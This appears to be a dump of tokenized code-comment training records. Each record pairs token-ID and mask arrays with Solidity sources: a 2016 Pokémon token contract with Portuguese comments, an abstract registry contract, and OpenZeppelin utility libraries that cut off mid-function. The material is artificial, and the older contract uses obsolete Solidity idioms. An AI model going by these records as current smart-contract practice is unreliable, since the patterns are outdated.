[ 1, 1986, 1375, 29306, 17821, 951, 68, 445, 2405, 783, 15693, 12480, 16199, 635, 261, 67, 8443, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 445, 15693, 17821, 951, 12, 2867, 389, 8443, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 377, 288, 203, 3639, 327, 15693, 17821, 63, 67, 8443, 15533, 203, 377, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright (c) 2016 Edilson Osorio Junior - OriginalMy.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.2; contract accessControlled { address public owner; address public pokeMarketAddress; function accessControlled() { owner = msg.sender; } modifier onlyOwner { if (msg.sender != owner) throw; /* o caracter "_" é substituído pelo corpo da funcao onde o modifier é utilizado */ _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } function updatePokeMarketAddress(address marketAddress) onlyOwner { pokeMarketAddress = marketAddress; } } contract PokeCentral is accessControlled { uint256 public totalPokemonSupply; Pokemon[] public pokemons; PokemonMaster[] public pokeMasters; mapping (uint256 => address) public pokemonToMaster; mapping (address => uint256) public pokeOwnerIndex; mapping (address => uint256) public totalPokemonsFromMaster; mapping (address => uint256[]) public balanceOf; struct Pokemon { uint pokeNumber; string pokeName; string pokeType; uint pokeCP; uint pokeHP; bytes32 pokemonHash; address pokeOwner; } struct PokemonMaster { address pokeMaster; uint[] pokemons; } /* Exemplo de array bidimensional para armazenar o nome do pokemon e seu tipo. O índice é seu número na Pokedex */ string[][] public pokemonNameTypes = [["Pokemon 0", "invalid"], ["Bulbassauro", "Grass/Poison"], ["Charmander", "Fire"], ["Squirtle","Water"], ["Pikachu","Eletric"]]; // Este tipo não aceita bytes /* Gera um evento publico no blockchain e avisa os clientes que estao monitorando */ event Transfer(address from, address to, uint256 value); event CreatePokemon(uint id, string name, uint cp, uint hp ); event UpdatePokemon(uint id, string name, uint cp, uint hp ); event UpdateMasterPokemons(address owner, uint total); event Log1(uint number); event Log2(string message); /* Inicializa o contrato */ function PokeCentral(address account1Demo, address account2Demo) { owner = msg.sender; newPokemonMaster(owner); // Todos pokemons serao criados para este owner /* Há um problema com um array de indices, pois quando um item é excluído, é substituído por 0. Então vamos criar um pokemon fake no primeiro item e ajustar a quantidade para ignorá-lo */ newPokemon(0,0,0); // Pokemon Índice 0 totalPokemonSupply-=1; // Ajusta o total de pokemons porque o primeiro é fake /* Criacao de pokemons iniciais */ //newPokemon(3,500,40); //newPokemon(1,535,70); //newPokemon(4,546,80); //newPokemon(2,557,90); /* Se as contas demo forem apresentadas no carregamento, então os pokemons criados serão distribuidos entre elas */ //if (account1Demo != 0 && account2Demo != 0){ //transferPokemon(msg.sender, account1Demo, 1); //transferPokemon(msg.sender, account1Demo, 4); //transferPokemon(msg.sender, account2Demo, 2); //transferPokemon(msg.sender, account2Demo, 3); //} } /* Criar novo Pokemon */ function newPokemon(uint pokemonNumber, uint cp, uint hp ) onlyOwner returns (bool success) { // cp e hp podem ser fornecidos randomicamente por https://api.random.org/json-rpc/1/basic uint pokemonID = pokemons.length++; Pokemon p = pokemons[pokemonID]; p.pokeNumber = pokemonNumber; p.pokeName = pokemonNameTypes[pokemonNumber][0]; p.pokeType = pokemonNameTypes[pokemonNumber][1]; p.pokeCP = cp; p.pokeHP = hp; p.pokemonHash = sha3(p.pokeNumber,p.pokeName,p.pokeType,p.pokeCP,p.pokeHP); // Hash de verificacao das infos do pokémon p.pokeOwner = owner; pokemonToMaster[pokemonID] = owner; addPokemonToMaster(owner, pokemonID); totalPokemonSupply += 1; CreatePokemon(pokemonID, p.pokeName, p.pokeCP, p.pokeHP); return true; } /* Alterar CP e HP de um Pokemon */ function updatePokemon(uint _pokemonID, uint _cp, uint _hp ) onlyOwner returns (bool success) { Pokemon p = pokemons[_pokemonID]; p.pokeCP = _cp; p.pokeHP = _hp; p.pokemonHash = sha3(p.pokeNumber,p.pokeName,p.pokeType,p.pokeCP,p.pokeHP); UpdatePokemon(_pokemonID, p.pokeName, p.pokeCP, p.pokeHP); return true; } /* Criar novo Mestre Pokemon */ function newPokemonMaster(address pokemonMaster) onlyOwner returns (bool success) { uint ownerID = pokeMasters.length++; PokemonMaster o = pokeMasters[ownerID]; o.pokeMaster = pokemonMaster; pokeOwnerIndex[pokemonMaster] = ownerID; return true; } /* Transferencia de Pokemons */ function transferPokemon(address _from, address _to, uint256 _pokemonID) returns (uint pokemonID, address from, address to) { if (msg.sender != owner && msg.sender != pokeMarketAddress) throw; Pokemon p = pokemons[_pokemonID]; if (p.pokeOwner != _from) throw; /* Se o Mestre Pokémon não existe ainda, crie-o */ if (pokeOwnerIndex[_to] == 0 && _to != pokemonToMaster[0] ) newPokemonMaster(_to); p.pokeOwner = _to; pokemonToMaster[_pokemonID] = _to; delPokemonFromMaster(_from, _pokemonID); addPokemonToMaster(_to, _pokemonID); Transfer(_from, _to, _pokemonID); return (_pokemonID, _from, _to); } /* Vincula um pokemon ao seu treinador */ function addPokemonToMaster(address _pokemonOwner, uint256 _pokemonID) internal returns (address pokeOwner, uint[] pokemons, uint pokemonsTotal) { if (msg.sender != owner && msg.sender != pokeMarketAddress) throw; uint ownerID = pokeOwnerIndex[_pokemonOwner]; PokemonMaster o = pokeMasters[ownerID]; uint[] pokeList = o.pokemons; /* usando array.push ele adiciona 0,_pokemonID no array */ // o.pokemons.push(_pokemonID); /* Ao invés de simplesmente adicionar um pokemon ao final da lista, verifica se há slot zerado no array, senao adiciona ao final. O blockchain não apaga itens, o uso de 'delete array[x]' substitui o item por 0. Ex: array[] = [ 1, 2, 3, 4 ] delete array[3]; array[] = [ 1, 2, 0, 4 ] */ bool slot; for (uint i=0; i < pokeList.length; i++){ if (pokeList[i] == 0){ slot = true; break; } } if (slot == true){ o.pokemons[i] = _pokemonID; } else { uint j = pokeList.length++; o.pokemons[j] = _pokemonID; } balanceOf[_pokemonOwner] = cleanArray(o.pokemons); qtdePokemons(_pokemonOwner); UpdateMasterPokemons(_pokemonOwner, o.pokemons.length); return (_pokemonOwner, o.pokemons, o.pokemons.length); } /* Desvincula um pokemon do seu treinador */ function delPokemonFromMaster(address _pokemonOwner, uint256 _pokemonID) internal returns (address pokeOwner, uint[] pokemons, uint pokemonsTotal) { if (msg.sender != owner && msg.sender != pokeMarketAddress) throw; uint ownerID = pokeOwnerIndex[_pokemonOwner]; PokemonMaster o = pokeMasters[ownerID]; uint[] pokeList = o.pokemons; for (uint i=0; i < pokeList.length; i++){ if (pokeList[i] == _pokemonID){ delete pokeList[i]; } } // http://ethereum.stackexchange.com/questions/3373/how-to-clear-large-arrays-without-blowing-the-gas-limit o.pokemons=cleanArray(pokeList); // Rearranja o array, eliminando os itens zerados, a custo de gas balanceOf[_pokemonOwner] = cleanArray(o.pokemons); qtdePokemons(_pokemonOwner); UpdateMasterPokemons(_pokemonOwner, o.pokemons.length); return (_pokemonOwner, o.pokemons, o.pokemons.length); } /* Funcao ilustrativa: lista pokemons de um treinador pois o browser solidity não mostra o conteúdo dos arrays no struct e no mapping */ function listPokemons( address _pokeOwner ) returns (address, uint[]){ uint ownerID = pokeOwnerIndex[_pokeOwner]; PokemonMaster o = pokeMasters[ownerID]; /* Lista pokemons tanto do struct quanto do mapping. */ return ( _pokeOwner, balanceOf[_pokeOwner] ); } /* Conta a qtde de pokemons em um array que possui zeros */ function qtdePokemons( address _pokeOwner) internal returns (uint qtde){ if (msg.sender != owner && msg.sender != pokeMarketAddress) throw; uint ownerID = pokeOwnerIndex[_pokeOwner]; PokemonMaster o = pokeMasters[ownerID]; uint[] pokeList = o.pokemons; uint count = 0; for (uint i=0; i < pokeList.length; i++){ if ( pokeList[i] > 0 ){ count++; } } totalPokemonsFromMaster[_pokeOwner] = count; return count; } /* Exemplo 2: Conta a qtde de pokemons diretamente do mapping */ function qtdePokemonsMapping( address _pokeOwner) internal returns (uint qtde){ uint[] tempList = balanceOf[_pokeOwner]; totalPokemonsFromMaster[_pokeOwner] = tempList.length; return tempList.length; } /* Esta funcao elimina todos os itens com zero do array, ao custo de gas */ function cleanArray(uint[] pokeList) internal returns (uint[]){ uint[] memory tempArray = new uint[](pokeList.length); uint j = 0; for (uint i=0; i < pokeList.length; i++){ if ( pokeList[i] > 0 ){ tempArray[j] = pokeList[i]; j++; } } uint[] memory tempArray2 = new uint[](j); for (i=0; i< j; i++) tempArray2[i] = tempArray[i]; return tempArray2; } /* Se tentarem enviar ether para o end desse contrato, ele rejeita */ function () { throw; } }
Rearranja o array, eliminando os itens zerados, a custo de gas
o.pokemons=cleanArray(pokeList);
1,022,828
[ 1, 426, 297, 2450, 12333, 320, 526, 16, 19229, 267, 28630, 1140, 518, 773, 24910, 18739, 16, 279, 276, 641, 83, 443, 16189, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 320, 18, 84, 601, 4758, 87, 33, 6200, 1076, 12, 84, 3056, 682, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "./RegistryENS.sol"; import "./RegistryGuardian.sol"; import "./RegistrySharedAccount.sol"; /** * Abstract Registry */ contract AbstractRegistry is AbstractRegistryENS, AbstractRegistryGuardian, AbstractRegistrySharedAccount { }
* Abstract Registry/
contract AbstractRegistry is AbstractRegistryENS, AbstractRegistryGuardian, AbstractRegistrySharedAccount { }
1,065,374
[ 1, 7469, 5438, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4115, 4243, 353, 4115, 4243, 21951, 16, 4115, 4243, 16709, 2779, 16, 4115, 4243, 7887, 3032, 288, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-02-01 */ // File: @openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol) pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } 